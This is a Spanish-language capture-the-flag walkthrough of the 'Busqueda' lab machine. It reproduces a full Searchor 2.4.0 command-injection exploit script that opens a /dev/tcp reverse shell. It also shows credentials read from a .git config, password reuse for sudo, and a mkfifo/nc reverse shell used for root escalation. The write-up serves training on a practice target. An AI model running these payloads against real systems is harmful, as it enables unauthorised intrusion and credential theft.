



En primer lugar, enviamos una traza ICMP a la máquina para comprobar que esté activa.

```
> ping -c 1 10.10.11.208
PING 10.10.11.208 (10.10.11.208) 56(84) bytes of data.
64 bytes from 10.10.11.208: icmp_seq=1 ttl=63 time=122 ms

--- 10.10.11.208 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 122.360/122.360/122.360/0.000 ms
```

Hacemos un escaneo de todos los puertos con Nmap.

Hacemos un escaneo exhaustivo de los puertos encontrados para detectar las versiones de los servicios que ejecutan e información adicional.

```
# Nmap 7.95 scan initiated Fri Nov 21 18:09:23 2025 as: /usr/lib/nmap/nmap -p22,80 -sCV -oN targeted 10.10.11.208
Nmap scan report for 10.10.11.208
Host is up (0.087s latency).

PORT      STATE SERVICE VERSION
22/tcp      open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|   256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp      open  http       Apache httpd/2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Nov 21 18:09:36 2025 -- 1 IP address (1 host up) scanned in 12.09 seconds
```

Añadimos el dominio encontrado a nuestro /etc/hosts.

```
GNU nano 8.6
127.0.0.1      localhost
127.0.1.1      Beherit

10.10.11.208   searcher.htb|


# The following lines are desirable for IPv6 capable hosts
::1      localhost ip6-localhost ip6-loopback
ff02::1  ip6-allnodes
ff02::2  ip6-allrouters
```

Buscamos la página web en nuestro navegador.

The screenshot shows a web browser window with the URL `http://searcher.htb`. The page title is "Searcher". The content area contains instructions for using the search engine, mentioning social media platforms, Q&A sites, and various other platforms. It also describes monitoring public social mentions across social networks and the web. Below this, there's a section titled "To start:" with three steps: selecting an engine, typing a query, and hitting the "Search" button. A note explains that users can tick a checkbox for automatic redirection. The form includes fields for selecting an engine (with "Accuweather" typed in), searching for terms ("Start searching..."), and a "Search" button. At the bottom, there are links for Home, Services, About, Terms, and Privacy Policy, along with social media icons for Instagram, Snapchat, Twitter, and Facebook.

Vemos las tecnologías que usa con Wappalyzer.

The screenshot shows the Wappalyzer extension interface. At the top, there's a purple header bar with the Wappalyzer logo, a gear icon, and a refresh icon. Below the header, there are two tabs: "TECHNOLOGIES" (selected) and "MORE INFO". To the right of these tabs is a "Export" button with a download icon.

The main content area is divided into several sections:

- Font scripts**: Includes icons for Font Awesome 4.7.0 and Ionicons.
- CDN**: Includes icons for cdnjs, jsDelivr, and Cloudflare.
- Web frameworks**: Includes an icon for Flask 2.1.2.
- JavaScript libraries**: Includes an icon for jQuery 3.2.1.
- Web servers**: Includes an icon for Flask 2.1.2.
- UI frameworks**: Includes an icon for Bootstrap 4.1.3.
- Programming languages**: Includes an icon for Python 3.10.6.

At the bottom left of the content area, there's a link: "Something wrong or missing?"

Al final de la página vemos que usa Searchor 2.4.0, buscamos una vulnerabilidad asociada. Encontramos el siguiente script:

The screenshot shows a GitHub repository page for 'Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection'. The repository has 1 branch and 0 tags. The README file contains the following content:

```

#!/bin/bash -

default_port="9001"
port="${3:-$default_port}"
rev_shell_b64=$(echo -ne "bash -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64)
evil_cmd="" ; __import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment"
plus=""

echo "---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---"

if [ -z "${evil_cmd##*$plus*}" ]
then
    evil_cmd=$(echo ${evil_cmd} | sed -r 's/[+]/%2B/g')
fi

if [ $# -ne 0 ]
then
    echo "[*] Input target is $1"
    echo "[*] Input attacker is $2:${port}"
    echo "[*] Run the Reverse Shell... Press Ctrl+C after successful connection"
    curl -s -X POST $1/search -d "engine=Google&query=${evil_cmd}" 1> /dev/null
else
    echo "[!] Please specify a IP address of target and IP address/Port of attacker for Reverse Shell, for example:
./exploit.sh <TARGET> <ATTACKER> <PORT> [9001 by default]"
fi

```

Lo descargamos y ejecutamos para obtener una reverse shell, el puerto predeterminado de escucha del script es el 9001 (podemos dejarlo así o editararlo).

```
> ./exploit.sh searcher.htb 10.10.16.31
---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---
[*] Input target is searcher.htb
[*] Input attacker is 10.10.16.31:9001
[*] Run the Reverse Shell... Press Ctrl+C after successful connection
|
```

Ya tenemos acceso a la máquina víctima.

```
> nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.16.31] from (UNKNOWN) [10.10.11.208] 46400
bash: cannot set terminal process group (1712): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ whoami
whoami
svc
svc@busqueda:/var/www/app$ |
```

Entramos en el siguiente directorio y vemos un archivo de configuración que contiene credenciales:

```
svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3  2023 .
drwxr-xr-x 4 root     root    4096 Apr  4  2023 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Nov 21 17:02 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates
svc@busqueda:/var/www/app$ cd .git
svc@busqueda:/var/www/app/.git$ ls -la
total 52
drwxr-xr-x 8 www-data www-data 4096 Nov 21 17:02 .
drwxr-xr-x 4 www-data www-data 4096 Apr  3  2023 ..
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 branches
-rw-r--r-- 1 www-data www-data 15 Dec  1  2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data 294 Dec  1  2022 config
-rw-r--r-- 1 www-data www-data 73 Dec  1  2022 description
-rw-r--r-- 1 www-data www-data 21 Dec  1  2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 hooks
-rw-r--r-- 1 root     root    259 Apr  3  2023 index
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec  1  2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec  1  2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec  1  2022 refs
svc@busqueda:/var/www/app/.git$ cat config
[core]
  repositoryformatversion = 0
  filemode = true
  bare = false
  logallrefupdates = true
[remote "origin"]
  url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
  fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
  remote = origin
  merge = refs/heads/main
svc@busqueda:/var/www/app/.git$ |
```

Vemos que el usuario "cody" no existe en el sistema, así que probamos la contraseña con nuestro usuario para hacer sudo -l:

```
svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:/var/www/app/.git$ |
```

El comando no usa una ruta absoluta para ejecutar el archivo que le pasamos al script de python, y podemos ejecutarlo como root.

```
/usr/bin/python3 /opt/scripts/system-checkup.py
usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

    docker-ps      : List running docker containers
    docker-inspect : Inspect a certain docker container
    full-checkup   : Run a full system checkup
```

Creamos un archivo que se llame igual al full-checkup pero ejecutando nc para recibir una reverse shell como root en nuestra máquina atacante.

```
#!/bin/bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.31 4444 >/tmp/f

chmod +x full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.31] from (UNKNOWN) [10.10.11.208] 48260
# whoami
root
#
```